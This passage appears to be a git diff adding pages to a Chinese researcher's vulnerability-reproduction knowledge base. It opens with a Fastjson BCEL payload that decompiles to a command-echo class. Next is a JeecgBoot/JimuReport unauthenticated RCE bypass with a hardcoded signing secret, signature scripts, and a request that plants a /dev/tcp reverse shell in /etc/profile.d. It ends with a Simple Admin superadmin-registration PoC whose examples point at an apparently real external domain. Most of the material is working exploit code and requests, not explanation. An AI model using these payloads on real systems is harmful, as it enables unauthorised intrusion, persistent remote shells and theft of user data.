{"CTGT":{ "a": {"@type": "java.lang.Class","val": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource"},"b": {"@type": "java.lang.Class","val": "com.sun.org.apache.bcel.internal.util.ClassLoader"},"c": {"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource","driverClassLoader": {"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"},"driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$8dV$cb$5b$TW$U$ff$5dH27$c3$m$g$40$Z$d1$wX5$a0$q$7d$d8V$81Zi$c4b$F$b4F$a5$f8j$t$c3$85$MLf$e2$cc$E$b1$ef$f7$c3$be$ec$a6$df$d7u$X$ae$ddD$bf$f6$d3$af$eb$$$ba$ea$b6$ab$ae$ba$ea$7fP$7bnf$C$89$d0$afeq$ee$bd$e7$fe$ce$ebw$ce$9d$f0$cb$df$3f$3e$Ap$I$df$aaHbX$c5$IF$a5x$9e$e3$a8$8a$Xp$8ccL$c1$8b$w$U$e4$U$iW1$8e$T$i$_qLp$9c$e4x$99$e3$94$bc$9b$e4$98$e2$98VpZ$o$cep$bc$c2qVE$k$e7Tt$e2$3c$c7$F$b9$cep$bc$ca1$cbqQ$G$bb$c4qY$c1$V$VW$f1$9a$U$af$ab0PP$b1$h$s$c7$9c$5c$85$U$f3$i$L$iE$F$96$82E$86$c4$a8$e5X$c1Q$86$d6$f4$c0$F$86X$ce$9d$T$M$j$93$96$p$a6$x$a5$82$f0$ce$Z$F$9b4$7c$d4$b4$pd$7b$3e0$cc$a5$v$a3$5c$bb$a2j$U$yQ$z$94$ac$C$9b$fc2$a8y$b7$e2$99$e2$84$r$z$3b$f2e$cfr$W$c6$cd$a2$9bY4$96$N$N$H1$a4$a0$a4$c1$81$ab$a1$8ck$M$a3$ae$b7$90$f1k$b8y$cf$u$89$eb$ae$b7$94$b9$$$K$Z$d3u$C$b1$Sd$3cq$ad$o$fc$ms6$5cs$a1z$c2$b5$e7$84$a7$c0$d3$e0$p$60$e8Z$QA$84$Y$L$C$cf$wT$C$e1S$G2l$d66$9c$85l$ce6$7c_C$F$cb$M$9b$d7$d4$a7$L$8b$c2$M$a8$O$N$d7$b1$c2p$ec$ff$e6$93$X$de$b2$bda$d0$b6Z$$$7e$d9u$7c$oA$5d$cb$8ca$a7$M$bc$92$f1C$db5$lup$92$c03$9e$V$I$aa$eb$86$ccto$b3A1$I$ca$99$J$S$cd$d1C$c3$Ja$Q$tM$d5$e5$DY$88$867$f0$s$f5$d9$y$cd1$u$ae$9fq$a80$Foix$h$efhx$X$ef$d1$e5$cc$c9i$N$ef$e3$D$86$96$acI$b0l$c1r$b2$7e$91$8eC$a6$86$P$f1$R$e9$q$z$81$ed0l$a9$85$a8$E$96$9d$cd$9b$86$e3$c8V$7c$ac$e1$T$7c$aa$e13$7c$ae$e0$a6$86$_$f0$a5l$f8W$e4$e1$f2$98$86$af$f1$8d$86$5b2T$7c$de$aeH$c7q$d3ve$d1$9dk$f9$8e$af$98$a2$iX$$$85$e85$ddRv$de$f0$83E$dfu$b2$cb$V$8a$b4$3aM$M$3dk6$9e$98$b7$a9$85$d9$v$R$U$5d$w$b0$f3$d2$e4$a3$E$8c4$91r$ae$e8$RS4$cdf$c5$f3$84$T$d4$cf$5d$e9$81$c9GQd$d9M$d4FSW$9b$a1I7$a4Yo$827$5cI$9b$N$_$a8M6mj$gjmz$7d$9e$eb$3c$8e$84$ad$ad$d7vl$D$9bK$ebl$g$bd4$b3C$ee$S$96$b3$ec$$$R$edG$g$7d$85$cf$a0$c9W$a4$gX$af$a2$feSN$c7$85i$h$9e$98$ab$e7$d6$ee$8b$60$cc4$85$ef$5b$b5$efF$y$7dQ$7eW$g$a7$f1$86$l$88R$f8$40$cexnYx$c1$N$86$7d$ff$c1$c3j$L$db$C$f7$7c$99$8cr$86$9c$9a$e6n$ad$82$b8$7c$a7$86$e5$Q$c1$bd$8d$8esE$c3$cb$cb$d7$e2$98bd$e0$o$Be$5b$c3Nt$ae$ef$e4H$7d$c6k$aa$b3$V$t$b0J$f5$c7$5c$3ft7$99Ej2$8c$89$VA$_$u$9d$de$60$Q$h$z$88$C$c9Vs$a8H$c9$b0$89B$9dt$ca$95$80$y$85A$acm$ab$87$b3$dcl$c3$F$99$f7$a47$bc$90$eck$V_$i$X$b6U$92$df$U$86$fd$ff$ceu$e3c$96E84$ef$e8$c3$B$fa$7d$91$7f$z$60$f2$ebM2C$a7$9d$b42Z$e3$83w$c1$ee$d0$86$nK2QS$s$c0$f1D$j$da$d2O$O$da$Ip$f5$kZ$aahM$c5$aa$88$9f$gL$rZ$efC$a9$82O$k$60$b4KV$a1NE$80$b6$Q$a0$d5$B$83$a9$f6h$3b$7d$e0$60$84$j$8e$N$adn$e3$91$dd$s$b2Ku$84$d0$cd$c3$89H$bbEjS1$d2$ce$b6$a6$3a$f3$f2J$d1$VJ$a2KO$84R$8f$d5$3dq$5d$d1$e3$EM$S$b4$9b$a0$ea$cf$e8$iN$s$ee$93TS$5b$efa$5b$V$3d$v$bd$8a$ed$df$p$a5$ab$S$a3$ab$b1To$fe6$3a$e4qG$ed$b8$93d$5cO$e6u$5e$c5c$a9$5d$8d$91u$k$3a$ff$J$bbg$ef$a1OW$ab$e8$afb$cf$5d$3c$9e$da$5b$c5$be$w$f6$cb$a03$a1e$3a$aaD$e7Qz$91$7e$60$9d$fe6b$a7$eeH$e6$d9$y$bb$8cAj$95$ec$85$83$5e$92IhP$b1$8d$3a$d0G$bb$n$b4$e306$n$87$OLc3f$b1$F$$R$b8I$ffR$dcB$X$beC7$7e$c0VP$a9x$80$k$fc$K$j$bfa$3b$7e$c7$O$fcAM$ff$T$bb$f0$Xv$b3$B$f4$b11$f4$b3Y$ec$a5$88$7b$d8$V$ec$c7$93$U$edY$c4$k$S$b8M$c1S$K$9eVp$a8$$$c3M$b8$7fF$n$i$da$k$c2$93s$a3$e099$3d$87k$pv$e4$l$3eQL$40E$J$A$A"}}

+

漏洞存在即可直接回显结果。

+

4.2 利用代码简单分析 +payload中的二进制代码是BCEL类的加密内容。如果想要进行分析的话 ,可以通过工具来直接解析出结果。 +随文附上解析工具 ,执行

+

java -jar BCELCode.jar -d 1.txt

+
// Source code is decompiled from a .class file using FernFlower decompiler.
package com.fastjson.vul;

import java.lang.reflect.Method;
import java.util.Scanner;

public class SpringEcho {
public SpringEcho() {
}

static {
try {
Class var0 = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.RequestContextHolder");
Method var1 = var0.getMethod("getRequestAttributes");
Object var2 = var1.invoke((Object)null);
var0 = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.ServletRequestAttributes");
var1 = var0.getMethod("getResponse");
Method var3 = var0.getMethod("getRequest");
Object var4 = var1.invoke(var2);
Object var5 = var3.invoke(var2);
Method var6 = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.ServletResponse").getDeclaredMethod("getWriter");
Method var7 = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.http.HttpServletRequest").getDeclaredMethod("getHeader", String.class);
var7.setAccessible(true);
var6.setAccessible(true);
Object var8 = var6.invoke(var4);
String var9 = (String)var7.invoke(var5, "cmd");
String[] var10 = new String[3];
if (System.getProperty("os.name").toUpperCase().contains("WIN")) {
var10[0] = "cmd";
var10[1] = "/c";
} else {
var10[0] = "/bin/sh";
var10[1] = "-c";
}

var10[2] = var9;
var8.getClass().getDeclaredMethod("println", String.class).invoke(var8, (new Scanner(Runtime.getRuntime().exec(var10).getInputStream())).useDelimiter("\\A").next());
var8.getClass().getDeclaredMethod("flush").invoke(var8);
var8.getClass().getDeclaredMethod("close").invoke(var8);
} catch (Exception var11) {
}

}
}


+ + \ No newline at end of file diff --git a/docs/个人知识库/漏洞复现/JeecgBoot/JeecgBoot 3.9.5 pre-auth RCE漏洞绕过/index.html b/docs/个人知识库/漏洞复现/JeecgBoot/JeecgBoot 3.9.5 pre-auth RCE漏洞绕过/index.html new file mode 100644 index 0000000..15c6192 --- /dev/null +++ b/docs/个人知识库/漏洞复现/JeecgBoot/JeecgBoot 3.9.5 pre-auth RCE漏洞绕过/index.html @@ -0,0 +1,190 @@ + + + + + +JimuReport 自动导出 Python 插件表达式注入修复绕过漏洞分析 | wjlin0 + + + + + + + +

JimuReport 自动导出 Python 插件表达式注入修复绕过漏洞分析

+ + + + + + + + + + + + + +
作者修订时间
wjlin02026-09-02 17:17:50
+

一、漏洞名称​

+

JimuReport 自动导出 Python 插件表达式注入修复绕过漏洞

+

二、漏洞描述​

+

JeecgBoot 集成的 JimuReport 在自动导出功能中处理 reportParams[].params。当参数值以 = 开头时,参数会进入报表表达式求值流程;在受影响实现中,表达式上下文仍可访问内部模块对象,造成任意文件写入,并可能进一步组合进程启动能力形成服务器端远程代码执行。

+

GitHub Issue #9837 重点修复的是:

+
POST /jmreport/auto/export
+

该入口原本使用 @JimuNoLoginRequired,可以绕过登录进入自动导出流程。修复思路是去除该入口的免登录标记,并增加角色、权限约束。

+

本文分析的绕过路径不是原始 /jmreport/auto/export,而是同一控制器中仍然存在的:

+
POST /jmreport/auto/export/python/plugin
+

本地分析的 JimuReport 2.5.1 类文件显示,该方法仍带有 @JimuNoLoginRequired,同时带有 @JimuSignature。因此,调用方不需要建立正常登录会话,只需要按照固定签名规则生成 X-TIMESTAMP 和 X-Sign,即可继续进入自动导出服务和 Python 导出处理链。签名只校验请求完整性,不会将 params 限制为普通字面量,也没有替代真实身份认证。

+

绕过链如下:

+
    +
  1. 通过报表查询接口取得一个可用的报表 ID;
  2. +
  3. 构造 reportParams[].params,使参数值进入表达式处理;
  4. +
  5. 使用当前毫秒时间戳和插件签名规则计算 X-Sign;
  6. +
  7. 请求 /jmreport/auto/export/python/plugin;
  8. +
  9. @JimuNoLoginRequired 使登录校验放行,@JimuSignature 仅验证签名;
  10. +
  11. 控制器调用 IJimuReportAutoService.autoExport,参数继续进入 Python 自动导出流程;
  12. +
  13. 表达式被求值,产生文件写入或更高影响的执行结果。
  14. +
+

三、影响厂商及产品型号​

+
    +
  • 厂商:JeecgBoot / JimuReport
  • +
  • 产品:JeecgBoot 企业级低代码平台(集成 JimuReport)
  • +
  • 相关功能:JimuReport 自动导出、Python 插件导出
  • +
  • 原始修复入口:/jmreport/auto/export
  • +
  • 绕过入口:/jmreport/auto/export/python/plugin
  • +
+

网络空间搜索引擎:​

+
    +
  • quake: title="JeecgBoot 企业级低代码平台"
  • +
+

image-20260902171749761

+

四、影响产品版本​

+

本地仓库的分析基线如下:

+
    +
  • JeecgBoot:3.9.5
  • +
  • JimuReport Spring Boot 4 Starter:2.5.1
  • +
  • 关键依赖:jimureport-spring-boot4-starter-2.5.1.jar
  • +
+

版本判断应以运行时实际加载的 JimuReport JAR 为准。若部署使用独立 JimuReport、平台镜像或二次开发版本,应检查运行时类文件是否同时具备以下特征:

+
/export/python/plugin
@JimuNoLoginRequired
@JimuSignature
+

本文将“原始入口已加权限、旁路入口仍免登录并可签名调用”的状态定义为受影响状态。

+

五、复现过程及复现截图​

+

1. 准备验证环境​

+

可验证环境:

+
http://127.0.0.1:80
http://127.0.0.1:8080
+

如果应用配置了上下文路径,以下示例使用:

+
http://127.0.0.1:8080/jeecg-boot
+

先确认应用确实部署了 JimuReport。对题设中的两个地址直接请求时,若返回 nginx 405 或 Tomcat 404,说明请求尚未进入目标控制器,应改用正确的上下文路径或实际监听地址。

+

2. 获取报表 ID​

+

向报表查询接口发送 GET 请求:

+
GET /jeecg-boot/jmreport/excelQueryByTemplate?name=&pageNo=1&pageSize=10 HTTP/1.1
Host: 127.0.0.1:8080
Accept: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Connection: close
+

典型返回为 JSON。不同版本字段包装可能略有差异,重点查看 result.records[].id 字段:

+
{
"success": true,
"result": {
"records": [
{
"id": "REPORT_ID",
"name": "REPORT_NAME"
}
]
}
}
+

将返回的 REPORT_ID 记下,后续放入 reportParams[0].id。若该接口被权限控制,也可以从已经打开的报表页面、导出请求或应用日志中取得同一字段;这一步的目的只是得到一个存在的报表 ID。

+

image-20260902161458266

+

3. 构造原始请求体​

+

使用一个只产生文件标记的表达式作为 params.x:

+
{"reportParams":[{"id":"REPORT_ID","params":{"x":"=__instance__.moduleCache['io']['spit']('/tmp/jeecg_jimureport_poc','JEECG_JIMUREPORT_POC')"},"exportType":"pdf"}]}
+

签名必须针对发送出去的原始字节序列计算。不要在计算签名后重新格式化 JSON、增加换行或改变字段顺序。

+

4. 计算请求头​

+

本地 2.5.1 类文件中的插件签名逻辑等价于:

+
X-TIMESTAMP = 当前 Unix 毫秒时间戳
X-Sign = MD5(raw_body + PLUGIN_SIGN_SECRET).upper()
+

分析基线中 PLUGIN_SIGN_SECRET 为:

+
6fea20a1940df21797d89f09c9111d56c1fe1fcfbe41a121
+

手工计算示例:

+
BODY='{"reportParams":[{"id":"REPORT_ID","params":{"x":"=__instance__.moduleCache['"'"'io'"'"']['"'"'spit'"'"']('"'"'/tmp/jeecg_jimureport_poc'"'"','"'"'JEECG_JIMUREPORT_POC'"'"')"},"exportType":"pdf"}]}'
TS=$(python3 -c 'import time; print(int(time.time() * 1000))')
SECRET='6fea20a1940df21797d89f09c9111d56c1fe1fcfbe41a121'
SIGN=$(printf '%s%s' "$BODY" "$SECRET" | md5sum | awk '{print toupper($1)}')
printf 'timestamp=%s\nsign=%s\n' "$TS" "$SIGN"
+

Windows PowerShell 等价计算方式:

+
$Body = '{"reportParams":[{"id":"REPORT_ID","params":{"x":"=__instance__.moduleCache[''io''][''spit''](''/tmp/jeecg_jimureport_poc'',''JEECG_JIMUREPORT_POC'')"},"exportType":"pdf"}]}'
$Secret = '6fea20a1940df21797d89f09c9111d56c1fe1fcfbe41a121'
$Bytes = [Text.Encoding]::UTF8.GetBytes($Body + $Secret)
$Md5 = [Security.Cryptography.MD5]::Create().ComputeHash($Bytes)
$Sign = ([BitConverter]::ToString($Md5) -replace '-', '').ToUpper()
$Timestamp = [DateTimeOffset]::Now.ToUnixTimeMilliseconds()
$Sign
$Timestamp
+

5. 手工发送绕过请求​

+

将上一步的 REPORT_ID、CURRENT_MILLISECONDS 和 MD5_UPPER 替换为实际值,发送:

+
POST /jeecg-boot/jmreport/auto/export/python/plugin HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: close
Content-Type: application/json
X-TIMESTAMP: CURRENT_MILLISECONDS
X-Sign: MD5_UPPER
Content-Length: BODY_BYTE_LENGTH

{"reportParams":[{"id":"REPORT_ID","params":{"x":"=__instance__.moduleCache['io']['spit']('/tmp/jeecg_jimureport_poc','JEECG_JIMUREPORT_POC')"},"exportType":"pdf"}]}
+

也可以使用 curl 发送同一原始 JSON。--insecure 用于忽略 TLS 证书校验;HTTP 环境下不会产生额外影响:

+
curl --insecure -i \
-X POST 'http://127.0.0.1:8080/jeecg-boot/jmreport/auto/export/python/plugin' \
-H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36' \
-H 'Content-Type: application/json' \
-H "X-TIMESTAMP: $TS" \
-H "X-Sign: $SIGN" \
--data-binary "$BODY"
+

6. 观察成功响应和验证信号​

+

成功进入控制器时,常见响应为 HTTP 200,响应体可能是导出业务 JSON、下载信息或文件流,取决于版本和导出配置。例如:

+
HTTP/1.1 200 OK
Content-Type: application/json;charset=UTF-8
+
{
"success": true,
"message": "导出报表成功",
"result": {}
}
+

验证重点不是固定的 result 结构,而是以下信号是否同时出现:

+
    +
  1. 应用日志出现自动导出/Python 导出调用记录;
  2. +
  3. 服务器上出现 /tmp/jeecg_jimureport_poc;
  4. +
  5. 标记文件内容为 JEECG_JIMUREPORT_POC;
  6. +
  7. 返回结果不再是登录失败或权限失败。
  8. +
+

如果文件标记未出现但响应已进入导出流程,应继续检查报表 ID、导出依赖、Python 环境、临时目录权限和应用日志。

+

image-20260902171015989

+

image-20260902171052052

+

7.写入RCE​

+
POST /jeecgboot/jmreport/auto/export/python/plugin HTTP/1.1
Host: 172.20.10.2
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/151.0.0.0 Safari/537.36
Accept: application/json, text/plain, */*
X-Tenant-Id: 1000
X-TIMESTAMP: 1788340125303
X-Sign: 9C0E1E0A227BC5AC60E05DE6B8AAD291
Referer: http://172.20.10.2/login?redirect=/dashboard/analysis
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: keep-alive
Content-Type: application/json
Content-Length: 262

{"reportParams":[{"id":"907480464532770816","params":{"x":"=__instance__.moduleCache['io']['spit']('/etc/profile.d/shell.sh','setsid sh -c \"0<&196;exec 196<>/dev/tcp/攻击者监听IP/1234; /bin/bash <&196 >&196 2>&196\" >/dev/null 2>&1 &')"},"exportType":"pdf"}]}
+

image-20260902171222468

+

随后 通过模拟登录 或 打开 bash 即可触发反弹shell

+

image-20260902171528544

+

六、漏洞分析:​

+

1. 修复前后入口边界对比​

+

Issue #9837 针对的原始入口在控制器中对应 /export 方法。

+

代码位置:

+
./jeecg-module-system/jeecg-system-start/target/jeecg-system-start-3.9.5.jar!BOOT-INF/lib/jimureport-spring-boot4-starter-2.5.1.jar!org/jeecg/modules/jmreport/automate/b/a.class
+

反编译后可还原为以下结构:

+
@RestController
@RequestMapping("/jmreport/auto")
public class JimuReportAutoController {

@PostMapping("/export")
@RequiresRoles(value = {"admin", "lowdeveloper"}, logical = Logical.OR)
@RequiresPermissions("jmreport:exportJob:export")
public Result<?> export(@RequestBody JimuReportAutoExportVO vo) {
String currentDomain = getCurrentDomain(getRequest());
vo.setDomain(currentDomain);
vo.setExportFrom("api");
return jimuReportAutoService.autoExport(vo);
}

@PostMapping("/export/python/plugin")
@JimuSignature
@JimuNoLoginRequired
public Result<?> exportPythonPlugin(
@RequestBody JimuReportAutoExportVO vo) {
String currentDomain = getCurrentDomain(getRequest());
vo.setDomain(currentDomain);
vo.setExportFrom("api");
return jimuReportAutoService.autoExport(vo);
}
}
+

关键差异是:原始 /export 方法具有角色和权限注解,而 /export/python/plugin 方法仍有 @JimuNoLoginRequired,并且两者最终都调用同一个 autoExport(vo)。因此,只修复 /export 的注解并不能关闭旁路。

+

2. JimuReportAutoController 数据流​

+

代码位置:

+
./jeecg-module-system/jeecg-system-start/target/jeecg-system-start-3.9.5.jar!BOOT-INF/lib/jimureport-spring-boot4-starter-2.5.1.jar!org/jeecg/modules/jmreport/automate/b/a.class
方法:b(org.jeecg.modules.jmreport.automate.model.JimuReportAutoExportVO)
编译源文件:JimuReportAutoController.java
+

Python 插件方法的实际字节码逻辑等价于:

+
@RequestMapping(value = "/export/python/plugin", method = RequestMethod.POST)
@JimuSignature
@JimuNoLoginRequired
public Result<?> exportPythonPlugin(
@RequestBody JimuReportAutoExportVO jimuReportAutoExportVO) {
String currentDomain = getCurrentDomain(getRequest());
jimuReportAutoExportVO.setDomain(currentDomain);
jimuReportAutoExportVO.setExportFrom("api");
log.debug("【调用python】报表自动导出参数,currentDomain ={}, jimuReportAutoExportVO = {}",
currentDomain, jimuReportAutoExportVO);
return jimuReportAutoService.autoExport(jimuReportAutoExportVO);
}
+

这里没有看到对 reportParams[].params 的 allowlist、表达式前缀拒绝或对象访问限制;请求体完成 JSON 绑定后直接进入统一自动导出服务。

+

image-20260902161822367

+

3. JimuReportSignatureInterceptor:签名通过但不恢复身份认证​

+

代码位置:

+
./jeecg-module-system/jeecg-system-start/target/jeecg-system-start-3.9.5.jar!BOOT-INF/lib/jimureport-spring-boot4-starter-2.5.1.jar!org/jeecg/modules/jmreport/common/interceptor/JimuReportSignatureInterceptor.class
方法:preHandle(HttpServletRequest, HttpServletResponse, Object)
相关常量:X_SIGN、X_TIMESTAMP、PRINT_PLUGIN_SIGN_SECRET、MAX_EXPIRE
+

拦截器通过反射检查方法是否带有 @JimuSignature。对 Python 插件路径,关键逻辑等价于:

+
public boolean preHandle(HttpServletRequest request,
HttpServletResponse response,
Object handler) throws Exception {
if (!needSignatureVerification(handler)) {
return true;
}

String timestamp = request.getHeader("X-TIMESTAMP");
String sign = request.getHeader("X-Sign");
if (OkConvertUtils.isEmpty(timestamp)
|| OkConvertUtils.isEmpty(sign)) {
error(response, "签名验证失败: 签名参数不存在");
return false;
}

if (System.currentTimeMillis() - Long.parseLong(timestamp)
> 300000L) {
error(response, "签名验证失败:X-TIMESTAMP已过期");
return false;
}

BodyReaderHttpServletRequestWrapper wrapper =
new BodyReaderHttpServletRequestWrapper(request);
String requestUri = request.getRequestURI();
if (requestUri != null
&& requestUri.endsWith("/auto/export/python/plugin")) {
String rawBody = wrapper.getBody();
String calculated = DigestUtils.md5DigestAsHex(
(rawBody + PRINT_PLUGIN_SIGN_SECRET)
.getBytes("UTF-8"))
.toUpperCase();
if (!calculated.equals(sign)) {
error(response, "签名校验失败,参数有误!");
return false;
}
return true;
}

// 其他带 @JimuSignature 的接口按排序后的 query 参数计算签名
return verifyOtherSignaturePaths(wrapper, sign);
}
+

image-20260902162900466

+

4. JimuReportAutoServiceImpl:两条入口汇聚到同一服务​

+

代码位置:

+
./jeecg-module-system/jeecg-system-start/target/jeecg-system-start-3.9.5.jar!BOOT-INF/lib/jimureport-spring-boot4-starter-2.5.1.jar!org/jeecg/modules/jmreport/automate/service/a/a.class
编译源文件:JimuReportAutoServiceImpl.java
方法:autoExport(JimuReportAutoExportVO)
字段:autoAsyncTasks、pyExecHandler
+

控制器调用接口 IJimuReportAutoService.autoExport(vo)。本地依赖中的服务实现将自动导出任务交给异步任务和具体导出处理器,逻辑可概括为:

+
@Override
public Result<?> autoExport(JimuReportAutoExportVO vo) {
Result<?> result = autoAsyncTasks.export(vo);
if (result.isSuccess()) {
return download(result.getResult().toString(), null);
}
return result;
}
+

原始 /export 和旁路 /export/python/plugin 都执行该调用,因此旁路没有停留在“旧接口返回提示”的层面,而是进入相同的报表参数处理和导出链。

+

image-20260902162958987

+

5. PyExecHandler 与 auto_export.py:表达式数据进入执行流程​

+

代码位置:

+
./jeecg-module-system/jeecg-system-start/target/jeecg-system-start-3.9.5.jar!BOOT-INF/lib/jimureport-spring-boot4-starter-2.5.1.jar!org/jeecg/modules/jmreport/automate/c/b.class
编译源文件:PyExecHandler.java
相关方法:a(String, String[])、a(String...)

./jeecg-module-system/jeecg-system-start/target/jeecg-system-start-3.9.5.jar!BOOT-INF/lib/jimureport-spring-boot4-starter-2.5.1.jar!script/auto_export.py

./jeecg-module-system/jeecg-system-start/target/jeecg-system-start-3.9.5.jar!BOOT-INF/lib/jimureport-spring-boot4-starter-2.5.1.jar!org/jeecg/modules/jmreport/desreport/express/ExpressUtil.class
+

依赖 JAR 中包含:

+
script/auto_export.py
+

Python 执行处理器 org.jeecg.modules.jmreport.automate.c.b(编译源文件名为 PyExecHandler.java)会准备脚本目录、脚本路径和 JSON 参数,然后启动 Python 脚本并解析脚本返回值。其关键流程可还原为:

+
public Result<?> execute(String scriptDir,
String scriptName,
String[] args,
Map<String, String> env) {
if (OkConvertUtils.isEmpty(scriptDir)) {
throw new RuntimeException("脚本目录不能为空");
}
if (!isTrustedScript(scriptDir)) {
throw new RuntimeException("脚本文件不可信");
}

String output = ProcessUtil.exec(
new String[] {scriptName, scriptDir}, env);
return parsePythonResult(output);
}
+

自动导出前置步骤会将 reportParams 中的参数映射到报表查询和表达式处理上下文。受影响数据流可表示为:

+
HTTP JSON
-> JimuReportAutoExportVO.reportParams
-> 自动导出任务参数映射
-> 报表查询参数
-> ExpressUtil / Aviator 表达式求值
-> Python 导出脚本与导出结果
+

当参数值以 = 开头时,表达式处理器会去除前缀并执行表达式。验证表达式:

+
=__instance__.moduleCache['io']['spit'](
'/tmp/jeecg_jimureport_poc',
'JEECG_JIMUREPORT_POC'
)
+

表达式中的 __instance__、moduleCache 和 io.spit 体现了内部对象可达性;其直接验证结果是任意路径文件写入。若同一上下文暴露进程启动、静态方法或脚本执行能力,则影响可扩大到操作系统命令执行。

+

image-20260902170822314

+

6. 根因定位​

+

根因不是单一的 MD5 算法,而是三个控制面没有闭合:

+
    +
  1. 入口覆盖不完整:修复对 /export 增加了权限控制,但 /export/python/plugin 仍被 @JimuNoLoginRequired 放行;
  2. +
  3. 签名被误当作权限边界:@JimuSignature 只验证固定字符串和原始请求体,不等价于登录、角色或权限校验;
  4. +
  5. 参数信任边界过宽:reportParams[].params 仍能进入表达式上下文,未被限制为普通数据。
  6. +
+

7. 修复建议​

+
    +
  1. 对 /jmreport/auto/export/python/plugin 去除 @JimuNoLoginRequired,增加与 /jmreport/auto/export 一致的登录、角色和权限校验;
  2. +
  3. 若 Python 插件导出不再使用,直接删除或禁用该路由,并在网关层阻断旧路径;
  4. +
  5. 对 reportParams[].params 实施严格 allowlist,只允许普通字符串、数字、日期等字面量,拒绝 = 表达式前缀、对象访问、模块访问和静态方法调用;
  6. +
  7. 不把固定签名密钥当作身份认证,改用真实会话、Token、角色和细粒度权限控制;
  8. +
  9. 对 Python 进程进行最小权限隔离,限制文件系统、网络和进程创建能力;
  10. +
  11. 升级后确认运行时 JAR 中 /export/python/plugin 不再带 @JimuNoLoginRequired,并用本文第七节的负向用例验证未登录请求被拒绝。
  12. +
+

七、其他说明事项:​

+
    +
  • +

    本文的“修复绕过”特指 Issue #9837 所修复的 /jmreport/auto/export 与仍可调用的 /jmreport/auto/export/python/plugin 之间的入口覆盖差异,不代表所有版本和部署都必然存在该路由。

    +
  • +
  • +

    文章代码片段来自本地 JeecgBoot 3.9.5、JimuReport 2.5.1 运行时依赖的反编译等价表示;类文件压缩后的方法名可能显示为 a、b、c,不影响路由和注解判断。

    +
  • +
+ + \ No newline at end of file diff --git a/docs/个人知识库/漏洞复现/Simple Admin/任意用户注册即超级管理员/index.html b/docs/个人知识库/漏洞复现/Simple Admin/任意用户注册即超级管理员/index.html new file mode 100644 index 0000000..2fb6637 --- /dev/null +++ b/docs/个人知识库/漏洞复现/Simple Admin/任意用户注册即超级管理员/index.html @@ -0,0 +1,86 @@ + + + + + +任意用户注册即超级管理员 — PoC | wjlin0 + + + + + + + +

任意用户注册即超级管理员 — PoC

+ + + + + + + + + + + + + +
作者修订时间
wjlin02026-08-29 00:22:46
+

Simple Admin Core 公开注册接口 /user/register 无任何鉴权/风控,注册即绑定配置项 +ProjectConf.DefaultRoleId(默认 1)对应角色;初始化数据中角色 1 = role.admin +(code 001,超级管理员),且被初始化 Casbin 策略授予全部 API 路径权限。 +攻击者仅需用 ddddocr 自动识别 5 位图形验证码即可注册超级管理员账号。

+

文件​

+ + + + + + + + + + + + + + + + + +
文件说明
poc.py全链路 PoC:ddddocr 识别验证码 → 注册 → 登录 → JWT 取证 → 调用 /user/list 获取全部用户证明(自动忽略 TLS 证书校验)
requirements.txt依赖:ddddocr requests numpy pillow
+

使用​

+
pip install -r requirements.txt

# 默认目标: http://127.0.0.1:5666 (API 前缀 /sys-api 已内置, 无需追加)
python3 poc.py

# 远程 HTTPS 目标 (自动忽略 TLS 证书校验)
python3 poc.py --target https://bbxt.greenelectricity.cn

# 走代理 (HTTP/SOCKS)
python3 poc.py --target https://bbxt.greenelectricity.cn --proxy http://127.0.0.1:7890

# 指定账号
python3 poc.py --username poc_admin --password 'Test@123456' --email poc@example.com
+

参数说明:

+ + + + + + + + + + + + + + + + + + + + + +
参数说明
--target目标主机根地址(HTTP/HTTPS 均可),默认 http://127.0.0.1:5666;/sys-api 前缀已写死在代码中,无需在 --target 中追加
--proxy代理地址,如 http://127.0.0.1:7890、socks5://127.0.0.1:1080
--username / --password / --email注册账号信息(默认随机用户名与邮箱)
+
+

PoC 默认忽略 TLS 证书校验(verify=False),适用于证书域名不匹配的目标。 +验证账号默认随机命名,请测试完成后在系统中手动删除。

+
+

攻击链​

+
GET  /captcha (公开)                -> captchaId + 验证码图片 (base64Captcha digit, 5位数字)
ddddocr 识别验证码
POST /user/register (公开, 无 JWT) -> 新用户 RoleIds=[1] (role.admin / code 001 / 超级管理员)
POST /user/login (公开) -> JWT payload: roleId="001"
POST /user/list (需 JWT) -> Casbin 放行, 可获取全部用户数据, 证明利用成功
+

实测结果(2026-08-28,本地授权环境)​

+
[+] 验证码识别成功 captchaId=22bj0Hc7GVF6HnaAxTjb captcha=50765
[+] 注册成功: username=poctestlist01 msg=注册成功
[+] 登录成功 userId=01a0492d-25ed-73bf-b946-6f7e9f44c413
[+] JWT payload: {"deptId":1,"exp":...,"iat":...,"roleId":"001","userId":"01a0492d-..."}
[+] 管理员接口 /user/list 访问成功: 共 7 个用户
- poctestlist01 (...)
- admin (id=01a04893-..., email=simple_admin@gmail.com) ← 系统内置超级管理员
[+] [漏洞确认] 匿名注册的账号可直接获得超级管理员权限, 可获取全部用户数据
